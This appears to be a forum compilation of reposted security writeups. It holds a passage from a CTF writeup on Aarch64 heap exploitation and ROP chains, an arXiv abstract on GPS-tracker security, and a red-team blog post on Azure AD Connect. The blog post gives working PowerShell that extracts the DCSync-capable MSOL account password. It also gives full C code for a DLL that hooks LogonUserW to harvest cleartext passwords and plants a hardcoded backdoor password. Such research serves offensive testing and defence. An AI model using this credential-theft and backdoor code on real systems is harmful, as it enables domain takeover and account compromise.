the libc and a placeholder flag file. It was the mentioned that the challenge is being run in a chroot, so we probably can’t get a shell and would need to do a open/read/write ropchain. The first thing we need is to set-up an environment. Fortunately, AWS provides pre-built Aarch64 ubuntu server images and that’s what we will use from now on. Part 1 - The heap Not Yet Another Note Challenge... ====== menu ====== 1. alloc 2. view 3. edit 4. delete 5. quit We are greeted with a wonderful and familiar (if you’re a regular CTFer) prompt related to heap challenges. Playing with it a little, we discover an int underflow in the alloc function, leading to a heap overflow in the edit function: __int64 do_add() { __int64 v0; // x0 int v1; // w0 signed __int64 i; // [xsp+10h] [xbp+10h] __int64 v4; // [xsp+18h] [xbp+18h] for ( i = 0LL; ; ++i ) { if ( i > 7 ) return puts("no more room!"); if ( !mchunks[i].pointer ) break; } v0 = printf("len : "); v4 = read_int(v0); mchunks[i].pointer = malloc(v4); if ( !mchunks[i].pointer ) return puts("couldn't allocate chunk"); printf("data : "); v1 = read(0LL, mchunks[i].pointer, v4 - 1); LOWORD(mchunks[i].size) = v1; *(_BYTE *)(mchunks[i].pointer + v1) = 0; return printf("chunk %d allocated\n"); } __int64 do_edit() { __int64 v0; // x0 __int64 result; // x0 int v2; // w0 __int64 v3; // [xsp+10h] [xbp+10h] v0 = printf("index : "); result = read_int(v0); v3 = result; if ( result >= 0 && result <= 7 ) { result = LOWORD(mchunks[result].size); if ( LOWORD(mchunks[v3].size) ) { printf("data : "); v2 = read(0LL, mchunks[v3].pointer, (unsigned int)LOWORD(mchunks[v3].size) - 1); LOWORD(mchunks[v3].size) = v2; result = mchunks[v3].pointer + v2; *(_BYTE *)result = 0; } } return result; } If we enter 0 as len in alloc, it would allocate a valid heap chunk and read -1 bytes into it. Because read uses unsigned values, -1 would become 0xffffffffffffffff and the read would error out as it’s not possible to read such a huge value. With read erroring out, the return value (-1 for error) would then be stored in the size member of the global chunk struct. In the edit function, the size is used as a 16 bit unsigned int, so -1 becomes 0xffff, leading to the overflow Since this post is about ROP-ing and the heap in Aarch64 is almost the same as x86, I’ll just be skimming over the heap exploit. Because there was no free() in the binary, we overwrote the size of the top_chunk which got freed in the next allocation, giving us a leak. Since the challenge server was using libc2.27, tcache was available which made our lives a lot easier. We could just overwrite the FD of the top_chunk to get an arbitrary allocation. First we leak a libc address, then use it to get a chunk near environ, leaking a stack address. Finally, we allocate a chunk near the return address (saved x30 register) to start writing our ROP-chain. Part 2 - The ROP-chain Now starts the interesting part. How do we find ROP gadgets in Aarch64? Fortunately for us, ropper supports Aarch64. But what kind of gadgets exist in Aarch64 and how can we use them? $ ropper -f libc.so.6 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% Gadgets ======= 0x00091ac4: add sp, sp, #0x140; ret; 0x000bf0dc: add sp, sp, #0x150; ret; 0x000c0aa8: add sp, sp, #0x160; ret; .... Aaaaand we are blasted with a shitload of gadgets. Most of the these are actually not very useful as the ret depends on the x30 register. The address in x30 is where gadget will return when it executes a ret. If the gadget doesn’t modify x30 in a way we can control it, we won’t be able to control the exectuion flow and get to the next gadget. So to get a ROP-chain running in Aarch64, we can only use the gadgets which: perform the function we want pop x30 from the stack ret With our heap exploit, we were only able to allocate a 0x98 chunk on the stack and the whole open/read/write chain would take a lot more space, so the first thing we need is to read in a second ROP-chain. One way to do that is to call gets(stack_address), so we can basically write an infinite ROP-chain on the stack (provided no newlines). So how do we call gets()? It’s a libc function and we already have a libc leak, the only thing we need is to get the address of gets in x30 and a stack address in x0 (function parameters are passedin x0 to x7). After a bit of gadget hunting, here is the gadget I settled upon: 0x00062554: ldr x0, [x29, #0x18]; ldp x29, x30, [sp], #0x20; ret; It essentially loads x0 from x29+0x18 and then pop x29 and x30 from the top of the stack (ldp xx,xy [sp] is essentially equal to popping). It then moves stack down by 0x20 (sp+0x20 in post indexed addressing). In almost all the gadgets, most of loads/stores are done relative to x29 so we need to make sure we control it properely too. Here is how the stack looks at the epilogue of the alloc function just before the execution of our first gadget. It pops the x29 and x30 from the stack and returns, jumping to our first gadget. Since we control x29, we control x0. Now the only thing left is to return to gets, but it won’t work if we return directly at the top of gets. Why? Let’s look at the prologue of gets <_IO_gets>: stp x29, x30, [sp, #-48]! <_IO_gets+4>: mov x29, sp gets assume that the return address is in x30 (it would be in a normal execution) and thus it tries to preserve it on the stack along with x29. Unfortunately for us, since we reached there with ret, the x30 holds the address of gets itself. If this continues, it would pop the preserved x30 at the end of gets and then jump back to gets again in an infinite loop. To bypass it, we use a simple trick and return at gets+0x8, skipping the preservation. This way, when it pops x30 at the end, we would be able to control it and jump to our next gadget. This is the rough sketch of our first stage ROP-chain: gadget = libcbase + 0x00062554 #0x0000000000062554 : ldr x0, [x29, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret // to control x0 payload = "" payload += p64(next_x29) + p64(gadget) + p64(0x0) + p64(0x8) # 0x0 and 0x8 are the local variables that shouldn't be overwritten payload += p64(next_x29) + p64(gets_address) + p64(0x0) + p64(new_x29_stack) # Link register pointing to the next frame + gets() of libc + just a random stack variable + param popped by gadget_1 into x1 (for param of gets) Now that we have infinite space for our second stage ROP-chain, what should we do? At first we decided to do the open/read/write all in ROP but it would make it unnecessarily long and complex, so instead we mprotect() the stack to make it executable and then jump to shellcode we placed on the stack. mprotect takes 3 arguments, so we need to control x0, x1 and x2 to succeed. Well, we began gadget hunting again. We already control x0, so we found this gadget: gadget_1 = 0x00000000000ed2f8 : mov x1, x0 ; ret At first glance, it looks perfect, copying x0 into x1. But if you have been paying close attention, you would realize it doesn’t modify x30, so we won’t be able to control execution beyond this. What if we take a page from JOP (jump oriented programming) and find a gadget which given us the control of x30 and then jumps (not call) to another user controlled address? gadget_2 = 0x000000000006dd74 :ldp x29, x30, [sp], #0x30 ; br x3 Oh wowzie, this one gives us the control of x30 and then jumps to x3. Now we just need to control x3….. gadget_3 = 0x000000000003f8c8 : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret gadget_4 = 0x0000000000026dc4 : mov x3, x19 ; mov x2, x26 ; blr x20 The first gadget here gives us control of x19 and x20, the second one moves x19 into x3 and calls x20. Chaining these two, we can control x3 and still have control over the execution. Here’s our plan: Have x0 as 0x500 (mprotect length) with the same gadget we used before Use gadget_3 to make x19 = gadget_1 and x20 = gadget_2 return to gadget_4 from gadget_3, making x3 = x19 (gadget_1) gadget_4 calls x20 (gadget_2) gadget_2 gives us a controlled x30 and jumps to x3 (gadget_1) gadget_1 moves x0 (0x500) into x1 and returns Here’s the rough code equivalent: payload = "" payload += p64(next_x29) + p64(gadget_3) + p64(0x0) * x (depends on stack) #returns to gadget_3 payload += p64(next_x29) + p64(gadget_4) + p64(gadget_1) + p64(gadget_2) + p64(0x0) * 4 # moves gadget_1/3 into x19/20 and returns to gadget_4 payload += p64(next_x29) + p64(next_gadget) #setting up for the next gadget and moving x19 into x3. x20 (gadget_2) is called from gadget_4 That was haaard, now let’s see how we can control x2… gadget_6 = 0x000000000004663c : mov x2, x21 ; blr x3 This is the only new gadget we need. It moves x21 into x2 and calls x3. We can already control x21 and x3 with the help of gadget_4 and gadget_3. Now that we have full control over x0, x1 and x2, we just need to put it all together and shellcode the flag read. I won’t go into details about that. And that’s a wrap folks, you can find our final exploit here - Jazzy Sursa: https://blog.perfect.blue/ROPing-on-Aarch64 -
Spy the little Spies - Security and Privacy issues of Smart GPS trackers Pierre Barre, Chaouki Kasmi, Eiman Al Shehhi (Submitted on 14 Feb 2019) Tracking expensive goods and/or targeted individuals with high-tech devices has been of high interest for the last 30 years. More recently, other use cases such as parents tracking their children have become popular. One primary functionality of these devices has been the collection of GPS coordinates of the location of the trackers, and to send these to remote servers through a cellular modem and a SIM card. Reviewing existing devices, it has been observed that beyond simple GPS trackers many devices intend to enclose additional features such as microphones, cameras, or Wi-Fi interfaces enabling advanced spying activities. In this study, we propose to describe the methodology applied to evaluate the security level of GPS trackers with different capabilities. Several security flaws have been discovered during our security assessment highlighting the need of a proper hardening of these devices when used in critical environments. Comments: 13 pages, 10 figures Subjects: Cryptography and Security (cs.CR) Cite as: arXiv:1902.05318 [cs.CR] (or arXiv:1902.05318v1 [cs.CR] for this version) Bibliographic data [Enable Bibex(What is Bibex?)] Submission history From: Pierre Barre [view email] [v1] Thu, 14 Feb 2019 11:54:23 UTC (881 KB) Sursa: https://arxiv.org/abs/1902.05318
-
Azure AD Connect for Red Teamers Posted on 18th February 2019 Tagged in redteam, active directory, azuread With clients increasingly relying on cloud services from Azure, one of the technologies that has been my radar for a while is Azure AD. For those who have not had the opportunity to work with this, the concept is simple, by extending authentication beyond on-prem Active Directory, users can authenticate with their AD credentials against Microsoft services such as Azure, Office365, Sharepoint, and hundreds of third party services which support Azure AD. If we review the available documentation, Microsoft show a number of ways in which Azure AD can be configured to integrate with existing Active Directory deployments. The first, and arguably the most interesting is Password Hash Synchronisation (PHS), which uploads user accounts and password hashes from Active Directory into Azure. The second method is Pass-through Authentication (PTA) which allows Azure to forwarded authentication requests onto on-prem AD rather than relying on uploading hashes. Finally we have Federated Authentication, which is the traditional ADFS deployment which we have seen numerous times. Now of course some of these descriptions should get your spidey sense tingling, so in this post we will explore just how red teamers can leverage Azure AD (or more specifically, Azure AD Connect) to meet their objectives. Before I continue I should point out that this post is not about exploiting some cool 0day. It is about raising awareness of some of the attacks possible if an attacker is able to reach a server running Azure AD Connect. If you are looking for tips on securing your Azure AD Connect deployment, Microsoft has done a brilliant job of documenting not only configuration and hardening recommendations, but also a lot about the internals of how Azure AD's options work under the hood. Setting up our lab Before we start to play around with Azure AD, we need a lab to simulate our attacks. To create this, we will use: A VM running Windows Server 2016 An Azure account with the Global administrator role assigned within Azure AD Azure AD Connect First you'll need to set up an account in Azure AD with Global administrator privileges, which is easily done via the management portal: Once we have an account created, we will need to install the Azure AD Connect application on a server with access to the domain. Azure AD Connect is the service installed within the Active Directory environment. It is responsible for syncing and communicating with Azure AD and is what the majority of this post will focus on. To speed up the installation process within our lab we will use the "Express Settings" option during the Azure AD Connect installation which defaults to Password Hash Synchronisation: With the installation of Azure AD Connect complete, you should get a notification like this: And with that, let's start digging into some of the internals, starting with PHS. PHS... smells like DCSync To begin our analysis of PHS, we should look at one of the assemblies responsible for handling the synchronisation of password hashes, Microsoft.Online.PasswordSynchronization.dll. This assembly can be found within the default installation path of Azure AD Sync C:\Program Files\Microsoft Azure AD Sync\Bin. Hunting around the classes and methods exposed, there are a few interesting references: As you are likely aware, DRS (Directory Replication Services) prefixes a number of API's which facilitate the replication of objects between domain controllers. DRS is also used by another of our favourite tools to recover password hashes... Mimikatz. So what we are actually seeing here is just how Azure AD Connect is able to retrieve data from Active Directory to forward it onto Azure AD. So what does this mean to us? Well as we know, to perform a DCSync via Mimikatz, an account must possess the "Replicating Directory Changes" permission within AD. Referring back to Active Directory, we can see that a new user is created during the installation of Azure AD Connect with the username MSOL_[HEX]. After quickly reviewing its permissions, we see what we would expect of an account tasked with replicating AD: So how do we go about gaining access to this account? The first thing that we may consider is simply nabbing the token from the Azure AD Connect service or injecting into the service with Cobalt Strike... Well Microsoft have already thought of this, and the service responsible for DRS (Microsoft Azure AD Sync) actually runs as NT SERVICE\ADSync, so we're going to have a work a bit harder to gain those DCSync privileges. Now by default when deploying the connector a new database is created on the host using SQL Server's LOCALDB. To view information on the running instance, we can use the installed SqlLocalDb.exe tool: The database supports the Azure AD Sync service by storing metadata and configuration data for the service. Searching we can see a table named mms_management_agent which contains a number of fields including private_configuration_xml. The XML within this field holds details regarding the MSOL user: As you will see however, the password is omitted from the XML returned. The encrypted password is actually stored within another field, encrypted_configuration. Looking through the handling of this encrypted data within the connector service, we see a number of references to an assembly of C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll which is responsible for key management and the decryption of this data: To decrypt the encrypted_configuration value I created a quick POC which will retrieve the keying material from the LocalDB instance before passing it to the mcrypt.dll assembly to decrypt: Write-Host “AD Connect Sync Credential Extract POC (@_xpn_)`n” $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password) view raw azuread_decrypt_msol.ps1 hosted with ❤ by GitHub And when executed, the decrypted password for the MSOL account will be revealed: So what are the requirements to complete this exfiltration of credentials? Well we will need to have access to the LocalDB (if configured to use this DB), which by default holds the following security configuration: This means that if you are able to compromise a server containing the Azure AD Connect service, and gain access to either the ADSyncAdmins or local Administrators groups, what you have is the ability to retrieve the credentials for an account capable of performing a DCSync: Pass Through Authentication With the idea of password hashes being synced outside of an organisation being unacceptable to some, Azure AD also supports Pass Through Authentication (PTA). This option allows Azure AD to forward authentication requests onto the Azure AD Connect service via Azure ServiceBus, essentially transferring responsibility to Active Directory. To explore this a bit further, let's reconfigure our lab to use Pass Through Authentication: Once this change has pushed out to Azure, what we have is a configuration which allows users authenticating via Azure AD to have their credentials validated against an internal Domain Controller. This is nice compromise for customers who are looking to allow SSO but do not want to upload their entire AD database into the cloud. There is something interesting with PTA however, and that is how authentication credentials are sent to the connector for validation. Let's take a look at what is happening under the hood. The first thing that we can see are a number of methods which handle credential validation: As we start to dig a bit further, we see that these methods actually wrap the Win32 API LogonUserW via pinvoke: And if we attach a debugger, add a breakpoint on this method, and attempt to authenticate to Azure AD, we will see this: This means that when a user enters their password via Azure AD with PTA configured, their credentials are being passed un-hashed onto the connector which then validates them against Active Directory. So what if we compromise a server responsible for Azure AD Connect? Well this gives us a good position to start syphoning off clear-text AD credentials each time someone tries to authenticate via Azure AD. So just how do we go about grabbing data out of the connector during an engagement? Hooking Azure AD Connect As we saw above, although the bulk of the logic takes place in .NET, the actual authentication call to validate credentials passed from Azure AD is made using the unmanaged Win32 API LogonUserW. This gives us a nice place to inject some code and redirect calls into a function that we control. To do this we will need to make use of the SeDebugPrivilege to grab a handle to the service process (as this is running under the NT SERVICE\ADSync). Typically SeDebugPrivilege is only available to local administrators, meaning that you will need to gain local admin access to the server to modify the running process. Before we add our hook, we need to take a look at just how LogonUserW works to ensure that we can restore the call to a stable state once our code has been executed. Reviewing advapi32.dll in IDA, we see that LogonUser is actually just a wrapper around LogonUserExExW: Ideally we don't want to be having to support differences between Windows versions by attempting to return execution back to this function, so going back to the connector's use of the API call we can see that all it actually cares about is if the authentication passes or fails. This allows us to leverage any other API which implements the same validation (with the caveat that the call doesn't also invoke LogonUserW). One API function which matches this requirement is LogonUserExW. This means that we can do something like this: Inject a DLL into the Azure AD Sync process. From within the injected DLL, patch the LogonUserW function to jump to our hook. When our hook is invoked, parse and store the credentials. Forward the authentication request on to LogonUserExW. Return the result. I won't go into the DLL injection in too much detail as this is covered widely within other blog posts, however the DLL we will be injecting will look like this: #include <windows.h> #include <stdio.h> // Simple ASM trampoline // mov r11, 0x4142434445464748 // jmp r11 unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 }; BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken); HANDLE pipeHandle = INVALID_HANDLE_VALUE; void Start(void) { DWORD oldProtect; // Connect to our pipe which will be used to pass credentials out of the connector while (pipeHandle == INVALID_HANDLE_VALUE) { pipeHandle = CreateFileA("\\\\.\\pipe\\azureadpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); Sleep(500); } void *LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW"); if (LogonUserWAddr == NULL) { // Should never happen, but just incase return; } // Update page protection so we can inject our trampoline VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect); // Add our JMP addr for our hook *(void **)(trampoline + 2) = &LogonUserWHook; // Copy over our trampoline memcpy(LogonUserWAddr, trampoline, sizeof(trampoline)); // Restore previous page protection so Dom doesn't shout VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect); } // The hook we trampoline into from the beginning of LogonUserW // Will invoke LogonUserExW when complete, or return a status ourselves BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { PSID logonSID; void *profileBuffer = (void *)0; DWORD profileLength; QUOTA_LIMITS quota; bool ret; WCHAR pipeBuffer[1024]; DWORD bytesWritten; swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); // Forward request to LogonUserExW and return result ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a); return ret; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Start(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } view raw azuread_hook_dll.cpp hosted with ❤ by GitHub And when executed, we can see that credentials are now harvested each time a user authenticates via Azure AD: Backdoor LogonUser OK, so we have seen how to retrieve credentials, but what about if we actually want to gain access to an Azure AD supported service? Well at this stage we control LogonUserW, and more importantly, we control its response, so how about we insert a backdoor to provide us access. Within our DLL code, let's add a simple check for a hardcoded password: BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { PSID logonSID; void *profileBuffer = (void *)0; DWORD profileLength; QUOTA_LIMITS quota; bool ret; WCHAR pipeBuffer[1024]; DWORD bytesWritten; swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); // Backdoor password if (wcscmp(password, L"ComplexBackdoorPassword") == 0) { // If password matches, grant access return true; } // Forward request to LogonUserExW and return result ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a); return ret; } Obviously you can implement a backdoor as complex or as simple as you want, but let's see how this looks when attempting to authenticate against O365: So what are the takeaways from this? Well first of all, it means for us as red teamers, targeting Azure AD Connect can help to expedite the domain admin chase. Further, if the objectives of the assessment are within Azure or another services integrated with Azure AD, we have the potential to work around authentication for any account which passes an authentication request via PTA. That being said, there is a lot of configuration and alternate options available when deploying Azure AD, so I'm keen to see any further research on just how red teamers can leverage this service. Adam Chester XPN Hacker and Infosec Researcher Sursa: https://blog.xpnsec.com/azuread-connect-for-redteam/